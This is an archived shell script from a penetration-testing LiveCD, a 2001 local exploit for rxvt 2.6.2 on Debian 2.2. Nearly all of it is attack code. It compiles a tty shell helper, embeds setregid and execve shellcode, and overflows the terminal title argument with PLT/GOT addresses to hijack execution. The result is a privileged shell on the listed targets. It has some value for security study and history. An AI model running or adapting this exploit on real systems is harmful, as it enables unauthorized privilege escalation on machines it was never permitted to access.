home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / terminals / xrxvt.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  4KB  |  171 lines

  1. #!/bin/sh
  2.  
  3. #
  4. # MasterSecuritY <www.mastersecurity.fr>
  5. #
  6. # xrxvt.sh - Local exploit for xrxvt 2.6.2
  7. # Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
  8. # Copyright (C) 2001  Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr>
  9. #
  10. # This program is free software; you can redistribute it and/or modify
  11. # it under the terms of the GNU General Public License as published by
  12. # the Free Software Foundation; either version 2 of the License, or (at
  13. # your option) any later version.
  14. #
  15. # This program is distributed in the hope that it will be useful,
  16. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  17. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
  18. # General Public License for more details.
  19. #
  20. # You should have received a copy of the GNU General Public License
  21. # along with this program; if not, write to the Free Software
  22. # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
  23. # USA
  24. #
  25.  
  26. echo "rxvt-2.6.2 exploit for Linux Debian 2.2"
  27. echo "Which target :"
  28. echo -e "\t0. rxvt 2.6.2 (package deb) on Debian 2.2"
  29. echo -e "\t1. rxvt 2.6.2 (tarball) on Debian 2.2"
  30. echo
  31. echo -n "target : "
  32.  
  33. read TARGET
  34.  
  35. cat > /tmp/xx.c <<EOF
  36. #include <unistd.h>
  37. #include <sys/types.h>
  38. #include <sys/stat.h>
  39. #include <fcntl.h>
  40.  
  41. int main()
  42. {
  43.         char * p_ttyname;
  44.         char * argv[] = { "/bin/sh", NULL };
  45.  
  46.         p_ttyname = ttyname( STDERR_FILENO );
  47.         if ( p_ttyname == NULL ) {
  48.                 return( -1 );
  49.         }
  50.         if ( open(p_ttyname, O_RDONLY) != STDIN_FILENO ) {
  51.                 return( -1 );
  52.         }
  53.         if ( open(p_ttyname, O_WRONLY) != STDOUT_FILENO ) {
  54.                 return( -1 );
  55.         }
  56.  
  57.         execve( argv[0], argv, NULL );
  58.         return( -1 );
  59. }
  60. EOF
  61. gcc -o /tmp/xx /tmp/xx.c
  62. rm -f /tmp/xx.c
  63.  
  64. cat > /tmp/xrxvt.c << EOF
  65. #include <stdio.h>
  66. #include <string.h>
  67. #include <unistd.h>
  68. #include <X11/X.h>
  69. #include <X11/Xlib.h>
  70.  
  71. #define BUF 256 /* buffer size */
  72. #define EBP 4
  73. #define EIP 4
  74. #define ESC 3   /* alignment */
  75.  
  76. #define GID "\x2b"
  77. #define DISPLAY ":0"
  78. #define STACK ( 0xc0000000 - 4 )
  79.  
  80. Display *d;
  81.  
  82. char shellcode[] =
  83. /* setregid( -1, GID ); */
  84. "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
  85. /* setregid( GID, GID ); */
  86. "\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
  87. /* Aleph One ;) */
  88. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  89. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  90. "\x80\xe8\xdc\xff\xff\xff/tmp/xx";
  91.  
  92. struct os
  93. {
  94.     int id;
  95.     char *desc;
  96.     char *path;
  97.     unsigned long plt;
  98.     unsigned long got;
  99. };
  100.  
  101. struct os target[]=
  102. {
  103.     { 0, "rxvt 2.6.2 (package deb) on Debian 2.2", "/usr/X11R6/bin/rxvt-xterm",
  104.       0x0804add0, 0x0805c964 },
  105.     { 1, "rxvt 2.6.2 (tarball) on Debian 2.2", "/usr/local/bin/rxvt",
  106.       0x0804a690, 0x08059e1c },
  107.     { 2, NULL, 0, 0 }
  108. };
  109.  
  110. void usage ( char *cmd )
  111. {
  112.     int i;
  113.     fprintf(stderr, "rxvt-2.6.2 exploit for Linux Debian 2.2\n");
  114.     fprintf(stderr, "usage: %s <target>\n",cmd);
  115.     fprintf(stderr, "with target:\n\n");
  116.     for( i < 0; i < sizeof(target) / sizeof(struct os); i++ )
  117.         fprintf(stderr, "%d. %s\n", i, target[i].desc);
  118.  
  119.     exit( -1 );
  120. }
  121.  
  122. int main(int argc, char *argv[])
  123. {
  124.     char buffer[ BUF - ESC + EBP + EIP + 12 + 1];
  125.     char * exec_argv[] = { NULL, "-T", buffer, NULL };
  126.     char * envp[] = { shellcode, NULL };
  127.     int i, t;
  128.     char *path;
  129.  
  130.     if ( argc != 2 )
  131.         usage(argv[0]);
  132.  
  133.     t = atoi(argv[1]);
  134.     if( t < 0 || t >= sizeof(target) / sizeof(struct os) )
  135.         usage( argv[0] );
  136.  
  137.     path = (char *)malloc(strlen(target[t].path)+1);
  138.     strcpy(path,target[t].path);
  139.  
  140.     if ( (d = XOpenDisplay(DISPLAY)) == NULL ){
  141.         fprintf(stderr, "Unable to open display: %s\n", DISPLAY);
  142.         exit(10);
  143.     }
  144.  
  145.     for ( i = 0; i < BUF - ESC + EBP; i++ ) {
  146.         buffer[ i ] = 'A';
  147.     }
  148.  
  149.     *( (size_t *) &(buffer[i]) ) = target[t].plt;
  150.     i += sizeof(size_t);
  151.     *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
  152.     i += sizeof(size_t);
  153.     *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
  154.     i += sizeof(size_t);
  155.     *( (size_t *) &(buffer[i]) ) = STACK - (strlen(path) + 1) - sizeof(shellcode);
  156.     i += sizeof(size_t);
  157.  
  158.     buffer[i] = '\0';
  159.  
  160.     exec_argv[0] = path;
  161.     execve( exec_argv[0], exec_argv, envp );
  162.     return( -1 );
  163. }
  164. EOF
  165. gcc -o /tmp/xrxvt /tmp/xrxvt.c -lX11
  166. rm -f /tmp/xrxvt.c
  167.  
  168. echo "Go to rxvt window and type 'echo -ne \"\033[21t\"' ..."
  169. echo "And see ..."
  170. /tmp/xrxvt $TARGET
  171.